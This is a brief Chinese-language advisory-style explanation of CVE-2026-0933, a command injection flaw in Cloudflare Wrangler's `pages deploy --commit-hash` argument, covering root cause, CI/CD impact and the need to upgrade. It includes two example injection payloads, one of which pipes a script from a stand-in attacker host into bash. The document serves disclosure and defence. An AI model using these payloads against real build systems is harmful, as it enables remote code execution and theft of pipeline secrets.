CVE-2026-0933CVE-2026-0933是Cloudflare Wrangler CLI工具中的一个严重命令注入漏洞。Wrangler是Cloudflare Workers和Pages项目的官方开发工具，用于部署和管理无服务器应用。该漏洞存在于`wrangler pages deploy`命令中，由于`--commit-hash`参数未经过滤直接传递给底层shell命令，攻击者可以通过构造恶意输入执行任意系统命令。CVSS评分高达9.9（严重），表明此漏洞具有极高的危害性。虽然在常规开发环境中利用难度较高，但在CI/CD自动化流水线场景中，如果`--commit-hash`参数来自外部不可信来源，攻击者可以轻易实现命令执行，进而窃取敏感环境变量、植入后门或篡改构建产物。此漏洞影响Wrangler v2、v3和v4多个版本，需要用户尽快升级到官方发布的安全版本。
该命令注入漏洞的根本原因在于用户输入的`--commit-hash`参数被直接拼接到shell命令字符串中。代码中使用模板字符串（Template Literals）构建git命令，如：`execSync(\`git show -s --format=%B \${commitHash}\`)`。由于`commitHash`变量未经过任何验证或转义处理，攻击者可以在参数中注入shell元字符（如`;`、`|`、`$()`、反引号等），这些字符会被shell解释执行。例如，攻击者可以构造`--commit-hash ';whoami #'`来执行额外命令，或者使用`$(curl http://attacker.com/shell.sh|bash)`从远程服务器下载并执行恶意脚本。这种shell命令注入允许攻击者完全控制目标系统的命令执行上下文，可用于读取敏感文件、窃取凭据、安装持久化后门或横向移动。由于Wrangler常在CI/CD环境中使用，攻击者一旦突破CI runner，可以获取存储在环境变量中的API密钥、访问令牌等敏感信息。